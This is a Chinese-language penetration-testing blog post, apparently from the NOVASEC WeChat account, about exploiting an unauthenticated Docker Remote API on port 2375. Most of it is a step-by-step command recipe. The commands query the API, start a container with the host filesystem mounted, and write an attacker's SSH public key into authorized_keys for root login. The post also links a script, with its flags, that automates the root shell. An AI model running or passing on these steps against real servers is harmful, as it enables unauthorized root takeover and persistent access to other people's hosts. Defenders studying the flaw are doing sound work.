0x00 Preface[前言/简介]
前段时间看到有文章分享docker逃逸,作为从小动手能力比嘴还强的我来说,遇到这种好玩的事情,岂能错过这一次的分享,必须想办法在实战中复现一波。然而,这世界从来不会因为我的善良,就善待的让我一发入魂,于是就有了本篇文章。
0x01 Docker API未授权
1、利用dockerAPI查看版本信息
http://IP:2375/version
2、利用dockerAPI查看所有镜像
http://IP:2375/images/json
3、漏洞手动利用-挂载容器写SSH公钥
在kali上安装docker环境
kapt-get install docker docker-compose #安装docker环境
service docker start #启动docker
docker命令行检测容器镜像
Docker -H tcp://IP:2375 images
docker命令行启动容器镜像
Docker -H tcp://IP:2375 run -it -v /:/mnt b752208df2c7 /bin/bash
在本地生成一个公钥
ssh-keygen -t rsa -C "windows"
将本地的公钥复制到目标服务器中
echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+02FAmxoTZLcDMVG15ene31sYNnls4eBScwesVXPbdWFfcFnZBhndDY6vOl0ASkf0m/XPKqgw6O3aevkkGpfguvb0D29EJ/6GDMj41/nwuZOzztHPqLaxXt28JzOOxYBbICB8lJ8ZO+CJJMSQTAHQFbQAEX1T+VQo7WBqrB9nzCijyNjaffMiCFoISYCWlUvYoyz1Pz5PB80wvol6APaLvjCcs3t2rGaPlSPr3Znf01o0diLGoMARSpgRwC7NKasdF5BISlYWizdO9vaEYqbBeUfd1JxlPKAyt3ZdBNA8ZSY+776oYsSl39PdBPzPS0cDA+Lo7IkfkxsUGeV8JKTwt7dLgfNFe6bG9iSau21GjB84tgnr605lVYI8BW1BCT1dn24IcHYvc4KQl2G94+TV5PiHteInYrO1eROlMMtcC8OsH5fgx4ibsZle5v/yNwTNyv47W9Malc8xTMMZPrk/UTnUh4KfMLw6VOYKHl9MO/TcZ1vQYhueloHwheyFNP8= windows > authorized_keys
使用ssh直接成功连接
4、漏洞自动化利用
利用脚本下载地址,检测当前运行的容器
python2 dockerRemoteApiGetRootShell.py -h 1.1.1.1 -p 2375
#本步骤可忽略
检测所有可运行的镜像
python2 dockerRemoteApiGetRootShell.py -h 1.1.1.1 -p 2375 -l
运行指定镜像并写入SSH公钥
python2 dockerRemoteApiGetRootShell.py -h 1.1.1.1 -p 2375 -C -i redis -k
#redis为上一步骤中从所有镜像中随机抽取的镜像地址
删除已运行的容器
python2 dockerRemoteApiGetRootShell.py -h 1.1.1.1 -p 2375 -c -I xxxxxxxxx
# xxxxxxxxx为上一步骤中显示的Container ID
0x02 summary 总结
虽然本次事与愿违,但是起码来说,在甲方爸爸那不至于无法交差。本以为比较顺利的,没想到还是会遇到坑,如原版本有点小bug,没得说,酒零改了一下。
winezer0/dockerRemoteApiGetRootShell-fix: docker 未授权访问漏洞利用脚本-FIX
https://github.com/winezer0/dockerRemoteApiGetRootShell-fix
0x03 结束语
感谢大哥们的对NOVASEC的支持点赞和关注,加入我们与萌新一起成长吧。
如有任何问题、建议、投稿请加NOVASEC-MOYU,以方便及时回复。
本文始发于微信公众号(NOVASEC):渗透实战-DockerAPI未授权漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论